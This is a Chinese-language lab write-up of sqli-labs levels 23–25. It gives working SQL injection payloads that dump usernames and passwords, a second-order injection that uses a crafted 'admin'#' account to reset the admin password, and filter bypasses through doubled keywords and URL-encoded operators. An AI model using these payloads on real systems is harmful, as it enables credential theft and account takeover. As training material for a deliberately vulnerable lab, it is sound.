sqli-labs第23~25关

第23关

判断为get传参,类似于前10关

 直接在URL上输入SQL语句

 

判断为单引号闭合

与前10关不同的是,注释符无效,我们去看看源码

发现注释符被正则表达式过滤

且为id传参,单引号闭合

所以想办法不用注释符就搞掉后面的单引号

于是乎,构造语句?id=1' or '1'='1

联合查询爆数据库

?id=' union select 1,2,database() '

爆表

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

爆字段

 ?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

爆值payload

 ?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

当然也可以报错注入和其他方法

第24关

二次注入

 这个页面,看起来很高大上的样子

先看一下源码吧,拓展一下做题思路嘛

 myaql_real_escape_string是一个防止SQL注入的函数

username没有用这个函数,考虑用username注入,变量$username单引号闭合

在知道admin是特权用户的前提下,可以构造用户名admin'#来拼接到源代码中,相当于admin特权用户

注册一个普通账号,账号名为admin'# 密码随意设,可以设为123456

创建完用户后登录进去·

 

 得到一下页面即为登陆成功, 根据页面提示修改密码,(实际上修改的是admin的密码)

修改完成后点Reset

之后点logout退出,重新登录,用户名用admin,密码为刚刚修改的密码

 admin账户登陆成功

 SUCCESS!!!

第25关

OR & AND欺骗,双写绕过

先正常测试一下

?id=1

?id=1'

?id=1' --+


 

 

方法一,--+绕过,一般注入。

样例payload

?id=-1' union select 1,2 database()--+

 发现联合查询就可以,遇见and或or时双写or或and绕过

eg.

?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+

 

eg.

?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

方法二,用逻辑运算符与&&代替and,逻辑运算符或||代替or

但是在URL中,需要对&&,||进行URL编码

http://www.jsons.cn/urlencode/

eg.

?id=0' %7C%7C 1=1 --+

?id=2' %26%26 1=1 --+

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: 在sqli-labs-master前10中,可以使用不同的注入方法来获取数据库和表的信息。其中,联合查询、报错注入和sqlmap是常用的注入方法。联合查询可以通过判断注入点的类型、判断列数和使用order by语句来获取表名和字段名。报错注入可以通过使用extractvalue()函数来获取表名、字段名和字段的详细内容。而sqlmap是一款专门用于自动化注入的工具,可以通过指定参数和选项来获取数据库名、表名、字段名和字段的详细信息。在具体的卡中,可以根据题目要求和注入点的特点选择合适的注入方法来解决问题。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [【渗透测试】sqli-labs闯(1-10)](https://blog.csdn.net/qq_43168364/article/details/105496598)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [sqli-labs前十记录](https://blog.csdn.net/qq_43277152/article/details/113388041)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [sqli-labs(1-10)](https://blog.csdn.net/weixin_44268918/article/details/127181936)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值